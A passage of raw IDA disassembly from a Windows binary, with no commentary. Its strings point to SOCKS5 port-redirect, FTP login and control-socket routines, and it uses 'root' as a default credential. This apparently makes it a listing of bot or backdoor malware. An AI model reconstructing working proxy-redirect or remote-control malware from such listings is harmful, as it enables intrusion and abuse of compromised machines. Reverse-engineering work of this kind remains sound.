938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; CODE XREF: ___:0042D18Dj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F30 jnz short loc_42D6DD push offset byte_448F30 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi ; atoi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A4D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473D0h, 64E89051h dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp call near ptr 77C47660h nop mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44742468h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 14681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 44740Ch, 91ACE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 4473FC68h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 71FC6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h dd 83F08B77h, 0F33B08C4h, 0F4681E75h, 0E8004473h, 77809146h dd 4C48390h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 0E73DE800h, 8390777Fh, 0C33B04C4h, 75144689h dd 73F46824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: ___:0042E556p ; sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" call near ptr 77C36DF2h nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103A8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103A8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471EC ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" nop call near ptr 77C36DF2h add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103A8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 loc_42E4C2: ; CODE XREF: ___:0042E53Dj jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490:loc_42E4C2j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h js short near ptr byte_42E5AA inc esp add [eax-7F774B18h], dl ja short loc_42E4C2 les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42DE00 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 3Ah dup(0CCh) byte_42E5AA db 6 dup(0CCh) ; CODE XREF: ___:0042E534j ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file 